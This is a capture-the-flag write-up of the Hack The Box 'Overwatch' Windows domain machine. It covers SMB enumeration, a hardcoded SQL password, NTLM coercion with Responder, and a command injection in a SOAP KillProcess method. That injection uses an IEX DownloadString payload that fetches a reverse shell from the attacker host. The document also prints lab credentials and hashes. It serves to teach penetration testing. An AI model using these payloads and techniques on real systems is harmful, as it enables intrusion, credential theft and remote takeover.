Hackthebox: Overwatch

Foued SAIDI Lv5

Overview

Overwatch is a medium-difficulty Windows Active Directory machine from Hack The Box: anonymous SMB share leaks a .NET monitoring binary → reverse it to extract a SQL connection string for sqlsvc → coerce NTLM auth with xp_dirtree and intercept linked-server cleartext to grab sqlmgmt creds → WinRM as sqlmgmt for user flag → chisel port-forward the internal SOAP monitoring service → command injection in KillProcess → reverse shell as NT AUTHORITY\SYSTEM for root.

Overwatch-info-card
Overwatch-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
PORT     STATE SERVICE       VERSION
53/tcp open tcpwrapped
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-27 03:53:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-01-27T03:54:56+00:00; +2s from scanner time.
| rdp-ntlm-info:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
| Product_Version: 10.0.20348
|_ System_Time: 2026-01-27T03:54:17+00:00
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after: 2026-06-08T15:16:06
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-01-27T03:54:20
|_ start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 1s


This is a classic Windows DC: Kerberos on 88, LDAP on 389/636, SMB on 445 and WinRM on 5985. Let’s start with SMB since it usually allows the cheapest enumeration.

SMB Enumeration

Anonymous listing works against the host and we get a non-default software$ share:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.129.13.144/ -N

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
software$ Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.13.144 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.13.144/software$ -N
Try "help" to get a list of possible commands.
smb: \> ls
. DH 0 Fri May 16 21:27:07 2025
.. DHS 0 Thu Jan 1 01:46:47 2026
Monitoring DH 0 Fri May 16 21:32:43 2025

7147007 blocks of size 4096. 1760684 blocks available
smb: \> cd Monitoring
smb: \Monitoring\> ls
. DH 0 Fri May 16 21:32:43 2025
.. DH 0 Fri May 16 21:27:07 2025
EntityFramework.dll AH 4991352 Thu Apr 16 16:38:42 2020
EntityFramework.SqlServer.dll AH 591752 Thu Apr 16 16:38:56 2020
EntityFramework.SqlServer.xml AH 163193 Thu Apr 16 16:38:56 2020
EntityFramework.xml AH 3738289 Thu Apr 16 16:38:40 2020
Microsoft.Management.Infrastructure.dll AH 36864 Mon Jul 17 10:46:10 2017
overwatch.exe AH 9728 Fri May 16 21:19:24 2025
overwatch.exe.config AH 2163 Fri May 16 21:02:30 2025
overwatch.pdb AH 30208 Fri May 16 21:19:24 2025
System.Data.SQLite.dll AH 450232 Sun Sep 29 16:41:18 2024
System.Data.SQLite.EF6.dll AH 206520 Sun Sep 29 16:40:06 2024
System.Data.SQLite.Linq.dll AH 206520 Sun Sep 29 16:40:42 2024
System.Data.SQLite.xml AH 1245480 Sat Sep 28 14:48:00 2024
System.Management.Automation.dll AH 360448 Mon Jul 17 10:46:10 2017
System.Management.Automation.xml AH 7145771 Mon Jul 17 10:46:10 2017
x64 DH 0 Fri May 16 21:32:33 2025
x86 DH 0 Fri May 16 21:32:33 2025

7147007 blocks of size 4096. 1760684 blocks available

A .NET monitoring program with a .pdb and EntityFramework/SQLite deps. Let’s pull the whole Monitoring folder down:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/overwatch]
└─$ smbget --recursive smb://10.129.13.144/software$/Monitoring -N
Using domain: WORKGROUP, user: kali
smb://10.129.13.144/software$/Monitoring/EntityFramework.dll
smb://10.129.13.144/software$/Monitoring/EntityFramework.SqlServer.dll
smb://10.129.13.144/software$/Monitoring/EntityFramework.SqlServer.xml
smb://10.129.13.144/software$/Monitoring/EntityFramework.xml
smb://10.129.13.144/software$/Monitoring/Microsoft.Management.Infrastructure.dll
smb://10.129.13.144/software$/Monitoring/overwatch.exe
smb://10.129.13.144/software$/Monitoring/overwatch.exe.config
smb://10.129.13.144/software$/Monitoring/overwatch.pdb
smb://10.129.13.144/software$/Monitoring/System.Data.SQLite.dll
smb://10.129.13.144/software$/Monitoring/System.Data.SQLite.EF6.dll
smb://10.129.13.144/software$/Monitoring/System.Data.SQLite.Linq.dll
smb://10.129.13.144/software$/Monitoring/System.Data.SQLite.xml
smb://10.129.13.144/software$/Monitoring/System.Management.Automation.dll
smb://10.129.13.144/software$/Monitoring/System.Management.Automation.xml
smb://10.129.13.144/software$/Monitoring/x64/SQLite.Interop.dll
smb://10.129.13.144/software$/Monitoring/x86/SQLite.Interop.dll
Downloaded 21.72MB in 210 seconds

Reversing the .NET Binary

overwatch.exe is a .NET assembly so we can throw it into dnSpy and read it cleanly. Inside the MonitoringService class we find a hardcoded SQL connection string:

overwatch-connection-string
overwatch-connection-string

1
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;

So we have valid credentials for sqlsvc against the MSSQL instance running locally on the box. The catch is that MSSQL isn’t exposed externally, only via the monitoring binary — so we’ll need to reach SQL Server another way.

NTLM Coercion + Linked-Server Capture

Connecting to MSSQL through impacket’s mssqlclient.py as sqlsvc, we get a shell on the master DB. Two interesting things show up: xp_dirtree is callable (lets us coerce NTLM authentication to an arbitrary host) and there is a sql07 linked server configured on this instance.

We point xp_dirtree at our box to collect the machine account NetNTLMv2 hash, and at the same time set up Responder so when MSSQL tries to negotiate the linked server connection we can capture credentials in cleartext as well:

1
2
3
4
5
6
7
8
9
SQL (OVERWATCH\sqlsvc  guest@master)> xp_dirtree \\10.10.16.79\test
subdirectory depth file
------------ ----- ----
SQL (OVERWATCH\sqlsvc guest@master)> use_link sql07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "sql07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.

SQL (OVERWATCH\sqlsvc guest@master)>

Responder picks up both: the machine account NetNTLMv2 challenge (not very useful here without cracking) and — more importantly — the linked-server credentials in cleartext because MSSQL stores linked server logins in a reversible format and presents them during the handshake:

1
2
3
4
5
6
7
8
9
10
11

[SMB] NTLMv2-SSP Client : 10.129.13.144
[SMB] NTLMv2-SSP Username : OVERWATCH\S200401$
[SMB] NTLMv2-SSP Hash : S200401$::OVERWATCH:6c87db85ff35e118:347DB0A03285FD43B19D4B9EEDD20E63:0101000000000000001395621E8FDC01C60DBBA76CA365DD000000000200080049004F003100480001001E00570049004E002D003300580037003200460041003400360033005A00490004003400570049004E002D003300580037003200460041003400360033005A0049002E0049004F00310048002E004C004F00430041004C000300140049004F00310048002E004C004F00430041004C000500140049004F00310048002E004C004F00430041004C0007000800001395621E8FDC01060004000200000008003000300000000000000000000000003000008209249D1A66C54849E83ECC14D55FF153370E8DC8072E9C3840C5E74ADB47E20A001000000000000000000000000000000000000900140063006900660073002F00530051004C00300037000000000000000000
[*] Skipping previously captured hash for OVERWATCH\S200401$
[*] Skipping previously captured hash for OVERWATCH\S200401$
[MSSQL] Cleartext Client : 10.129.13.144
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

We now have a domain user sqlmgmt:bIhBbzMMnB82yx.

User Flag - WinRM as sqlmgmt

sqlmgmt is a member of Remote Management Users (port 5985 was open in the nmap output), so evil-winrm gets us a shell straight away:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/overwatch]
└─$ evil-winrm -i 10.129.13.144 -u sqlmgmt -p bIhBbzMMnB82yx

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\sqlmgmt\desktop> cat user.txt
9f7ef3a92daed23e57a5d6fb6c65ed26
*Evil-WinRM* PS C:\Users\sqlmgmt\desktop>

Privilege Escalation - SOAP KillProcess Command Injection

Going back to the overwatch.exe binary, the MonitoringService class exposes a SOAP service over HTTP. Looking at its KillProcess method we can see exactly why it’s interesting:

overwatch-killprocess
overwatch-killprocess

The processName argument is concatenated directly into a PowerShell Stop-Process -Name <input> -Force script and pushed into a runspace. No quoting, no validation — pure command injection via a ; separator.

The service binds to 127.0.0.1:8000 (only listening on loopback), so we need to forward that port out. Chisel is the easiest tool for that — we run the server on Kali in reverse mode and the client on the box:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Downloads]
└─$ ./chisel server --reverse --port 9000
2026/01/27 00:36:49 server: Reverse tunnelling enabled
2026/01/27 00:36:49 server: Fingerprint 0rf64VJVbnlSzRX9dYWqmrsItxRIUnGuYTW1BQaoww8=
2026/01/27 00:36:49 server: Listening on http://0.0.0.0:9000
2026/01/27 00:37:11 server: session#1: tun: proxy#R:8000=>8000: Listening

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\sqlmgmt\desktop> ./chisel.exe client 10.10.16.79:9000 R:8000:127.0.0.1:8000
chisel.exe : 2026/01/26 21:37:10 client: Connecting to ws://10.10.16.79:9000
+ CategoryInfo : NotSpecified: (2026/01/26 21:3...0.10.16.79:9000:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2026/01/26 21:37:13 client: Connected (Latency 260.0434ms)

The internal SOAP endpoint is now reachable on our local 127.0.0.1:8000. We craft a SOAP envelope that calls KillProcess with an injected PowerShell payload that pulls our reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl -X POST \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" \
-d '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<KillProcess xmlns="http://tempuri.org/">
<processName>notepad; IEX(New-Object Net.WebClient).DownloadString('\''http://10.10.16.79/shell.ps1'\'');#</processName>
</KillProcess>
</soap:Body>
</soap:Envelope>' http://127.0.0.1:8000/MonitorService


shell.ps1 is a vanilla nishang reverse shell pointing back at us on port 9002. We serve it over a Python HTTP server:

1
2
3
4
5
6
7
 python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.13.144 - - [27/Jan/2026 00:42:05] "GET /shell.ps1 HTTP/1.1" 200 -
10.129.13.144 - - [27/Jan/2026 00:42:15] "GET /shell.ps1 HTTP/1.1" 200 -



And the catch comes back as NT AUTHORITY\SYSTEM since the monitoring service was running with full system privileges:

1
2
3
4
5
6
7
8
9
10
$ rlwrap nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.79] from (UNKNOWN) [10.129.13.144] 58004

PS C:\Software\Monitoring> whoami
nt authority\system
PS C:\Software\Monitoring> cd ../../users/administrator/desktop
PS C:\users\administrator\desktop> cat root.txt
38c9a8584ce0dde819efe21c28e4d4cc
PS C:\users\administrator\desktop>

That was it for Overwatch, hope you learned something new!
-0xkujen

  • Title: Hackthebox: Overwatch
  • Author: Foued SAIDI
  • Created at : 2026-05-11 19:35:10
  • Updated at : 2026-05-11 21:06:46
  • Link: https://kujen5.github.io/2026/05/11/Hackthebox-Overwatch/
  • License: This work is licensed under CC BY-NC-SA 4.0.